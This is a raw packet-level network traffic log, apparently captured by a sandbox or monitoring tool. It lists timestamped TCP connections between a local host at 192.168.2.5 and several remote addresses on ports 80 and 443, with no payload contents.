Nov 12, 2024 06:23:40.634331942 CET	54604	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.634342909 CET	443	54604	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.634355068 CET	443	54604	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.636203051 CET	54611	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.636218071 CET	443	54611	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.636298895 CET	54611	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.636493921 CET	54611	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:40.636502981 CET	443	54611	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:40.672364950 CET	443	54597	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:40.672383070 CET	443	54597	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:40.672431946 CET	54597	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:40.672446966 CET	443	54597	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:40.672792912 CET	54597	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:40.672802925 CET	443	54597	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:40.672837019 CET	54597	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:40.672913074 CET	443	54597	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:40.672940969 CET	443	54597	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:40.673006058 CET	54597	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:40.688813925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:40.688827038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:40.688837051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:40.688901901 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:40.688925982 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:40.694740057 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:40.699870110 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:40.708771944 CET	54612	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:40.708796024 CET	443	54612	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:40.708897114 CET	54612	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:40.709033966 CET	54612	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:40.709049940 CET	443	54612	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:40.973102093 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:40.973169088 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:40.994477987 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:40.999860048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:41.138720036 CET	443	54606	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.139266014 CET	54606	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:41.139296055 CET	443	54606	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.139942884 CET	54606	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:41.139946938 CET	443	54606	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.139970064 CET	54606	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:41.139977932 CET	443	54606	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.231890917 CET	443	54607	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.232399940 CET	54607	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.232422113 CET	443	54607	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.232876062 CET	54607	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.232881069 CET	443	54607	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.353416920 CET	443	54610	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.354868889 CET	443	54611	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.355941057 CET	54610	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.355972052 CET	443	54610	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.356410980 CET	54610	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.356415987 CET	443	54610	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.357256889 CET	54611	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.357286930 CET	443	54611	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.357836008 CET	54611	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.357841015 CET	443	54611	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.362485886 CET	443	54609	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.364265919 CET	443	54608	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.365953922 CET	54609	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.365962029 CET	443	54609	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.367685080 CET	54609	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.367690086 CET	443	54609	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.367902994 CET	54608	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.367909908 CET	443	54608	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.369067907 CET	54608	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.369071960 CET	443	54608	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.377254009 CET	443	54607	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.377521038 CET	443	54607	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.377573967 CET	54607	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.382860899 CET	54607	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.382874966 CET	443	54607	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.382886887 CET	54607	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.382890940 CET	443	54607	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.388233900 CET	54613	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.388286114 CET	443	54613	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.388354063 CET	54613	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.388468981 CET	54613	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.388480902 CET	443	54613	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.463268995 CET	443	54606	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.463289976 CET	443	54606	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.463321924 CET	443	54606	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.463350058 CET	54606	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:41.463361025 CET	443	54606	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.463377953 CET	54606	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:41.463764906 CET	54606	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:41.463774920 CET	443	54606	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.463781118 CET	54606	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:41.463891983 CET	443	54606	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.463916063 CET	443	54606	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.463958025 CET	54606	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:41.479888916 CET	54614	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:41.479907990 CET	443	54614	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.479962111 CET	54614	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:41.480114937 CET	54614	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:41.480128050 CET	443	54614	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.482841969 CET	443	54611	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.482917070 CET	443	54611	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.482965946 CET	54611	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.483006001 CET	443	54610	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.483134031 CET	443	54610	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.483167887 CET	443	54610	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.483170986 CET	54610	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.483207941 CET	54610	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.483237028 CET	54611	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.483256102 CET	443	54611	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.483268023 CET	54611	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.483273029 CET	443	54611	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.483433008 CET	54610	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.483433008 CET	54610	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.483450890 CET	443	54610	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.483458042 CET	443	54610	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.486628056 CET	54615	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.486646891 CET	443	54615	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.486712933 CET	54615	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.486864090 CET	54615	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.486869097 CET	54616	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.486875057 CET	443	54615	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.486891031 CET	443	54616	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.486951113 CET	54616	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.487091064 CET	54616	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.487112999 CET	443	54616	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.494072914 CET	443	54609	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.494151115 CET	443	54609	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.494198084 CET	54609	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.494324923 CET	54609	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.494328976 CET	443	54609	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.494357109 CET	54609	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.494359970 CET	443	54609	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.496087074 CET	54617	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.496121883 CET	443	54617	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.496290922 CET	54617	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.496440887 CET	54617	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.496454000 CET	443	54617	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.497961998 CET	443	54608	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.498099089 CET	443	54608	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.498145103 CET	54608	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.498178005 CET	54608	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.498181105 CET	443	54608	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.498191118 CET	54608	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.498194933 CET	443	54608	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.500328064 CET	54618	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.500334978 CET	443	54618	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.500449896 CET	54618	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.500597000 CET	54618	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:41.500608921 CET	443	54618	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:41.763154030 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:41.763277054 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:41.768834114 CET	443	54612	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.770469904 CET	54612	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:41.770483971 CET	443	54612	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.771261930 CET	54612	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:41.771265984 CET	443	54612	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.771308899 CET	54612	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:41.771321058 CET	443	54612	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:41.805233002 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:41.810117960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:42.083009005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:42.083089113 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:42.091876030 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:42.096831083 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.096915007 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:42.097582102 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:42.102416992 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.120120049 CET	443	54613	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.120748997 CET	54613	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.120769024 CET	443	54613	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.121232033 CET	54613	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.121238947 CET	443	54613	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.214797020 CET	443	54616	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.215208054 CET	54616	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.215229034 CET	443	54616	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.215604067 CET	54616	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.215609074 CET	443	54616	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.224153042 CET	443	54617	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.224469900 CET	54617	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.224483013 CET	443	54617	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.224869967 CET	54617	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.224874020 CET	443	54617	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.238873005 CET	443	54618	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.239201069 CET	54618	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.239208937 CET	443	54618	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.239521980 CET	54618	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.239526033 CET	443	54618	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.252840042 CET	443	54613	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.252887011 CET	443	54613	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.253129959 CET	54613	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.253197908 CET	54613	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.253213882 CET	443	54613	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.253222942 CET	54613	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.253227949 CET	443	54613	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.256314993 CET	54621	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.256345034 CET	443	54621	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.256450891 CET	54621	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.256562948 CET	54621	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.256573915 CET	443	54621	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.270205975 CET	443	54615	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.270498991 CET	54615	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.270517111 CET	443	54615	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.270832062 CET	54615	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.270837069 CET	443	54615	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.344286919 CET	443	54616	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.344329119 CET	443	54616	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.344456911 CET	54616	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.344481945 CET	54616	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.344481945 CET	54616	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.344492912 CET	443	54616	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.344500065 CET	443	54616	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.346525908 CET	54622	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.346560001 CET	443	54622	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.346627951 CET	54622	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.346765041 CET	54622	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.346779108 CET	443	54622	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.353071928 CET	443	54617	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.353123903 CET	443	54617	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.353240967 CET	54617	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.353327036 CET	54617	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.353327036 CET	54617	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.353341103 CET	443	54617	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.353349924 CET	443	54617	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.355106115 CET	54623	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.355119944 CET	443	54623	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.355180025 CET	54623	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.355305910 CET	54623	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.355319977 CET	443	54623	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.370493889 CET	443	54618	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.370549917 CET	443	54618	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.370675087 CET	54618	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.370716095 CET	54618	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.370723009 CET	443	54618	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.370731115 CET	54618	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.370733976 CET	443	54618	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.372435093 CET	54624	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.372459888 CET	443	54624	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.372625113 CET	54624	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.372739077 CET	54624	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.372750044 CET	443	54624	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.407289028 CET	443	54612	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.407306910 CET	443	54612	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.407342911 CET	443	54612	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.407356024 CET	54612	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.407371998 CET	443	54612	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.407383919 CET	54612	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.407743931 CET	54612	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.407752991 CET	443	54612	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.407787085 CET	54612	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.407856941 CET	443	54612	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.407883883 CET	443	54612	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.407938957 CET	54612	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.409344912 CET	443	54615	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.409472942 CET	443	54615	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.409503937 CET	443	54615	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.409609079 CET	54615	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.409760952 CET	54615	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.409760952 CET	54615	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.409768105 CET	443	54615	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.409778118 CET	443	54615	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.413502932 CET	54625	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.413527012 CET	443	54625	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.413578987 CET	54625	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.413773060 CET	54625	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.413784027 CET	443	54625	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.501996040 CET	54626	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.502032995 CET	443	54626	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.502105951 CET	54626	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.502306938 CET	54626	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.502316952 CET	443	54626	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.540834904 CET	443	54614	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.541245937 CET	54614	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.541261911 CET	443	54614	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.541951895 CET	54614	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.541956902 CET	443	54614	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.542007923 CET	54614	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.542016029 CET	443	54614	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.868560076 CET	443	54614	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.868572950 CET	443	54614	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.868606091 CET	443	54614	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.868649960 CET	54614	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.868663073 CET	443	54614	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.868670940 CET	54614	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.871114969 CET	54614	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.871128082 CET	443	54614	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.871133089 CET	54614	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.871239901 CET	443	54614	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.871258974 CET	443	54614	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:42.871336937 CET	54614	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:42.992690086 CET	443	54621	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.992908001 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.993004084 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.993009090 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.993021011 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.993027925 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.993033886 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.993046999 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.993051052 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.993078947 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.993083954 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:42.993087053 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.993125916 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:42.993149042 CET	54621	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.993166924 CET	443	54621	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.993644953 CET	54621	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:42.993649006 CET	443	54621	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:42.998331070 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.998337030 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.998348951 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.998353004 CET	80	54620	185.215.113.16	192.168.2.5
Nov 12, 2024 06:23:42.998403072 CET	54620	80	192.168.2.5	185.215.113.16
Nov 12, 2024 06:23:43.085491896 CET	443	54622	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.086270094 CET	54622	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.086270094 CET	54622	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.086301088 CET	443	54622	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.086313963 CET	443	54622	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.088073015 CET	443	54623	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.088489056 CET	54623	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.088498116 CET	443	54623	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.088828087 CET	54623	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.088833094 CET	443	54623	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.122608900 CET	443	54624	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.122952938 CET	54624	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.122967958 CET	443	54624	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.123358965 CET	54624	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.123363972 CET	443	54624	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.124416113 CET	443	54621	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.124806881 CET	443	54621	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.124887943 CET	54621	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.124908924 CET	54621	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.124908924 CET	54621	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.124922037 CET	443	54621	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.124929905 CET	443	54621	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.127801895 CET	54628	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.127821922 CET	443	54628	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.127981901 CET	54628	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.128041029 CET	54628	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.128051996 CET	443	54628	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.143799067 CET	443	54625	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.145124912 CET	54625	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.145124912 CET	54625	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:43.145143032 CET	443	54625	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.145157099 CET	443	54625	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:43.145453930 CET	80	54620	185.215.113.16	192.168.2.5
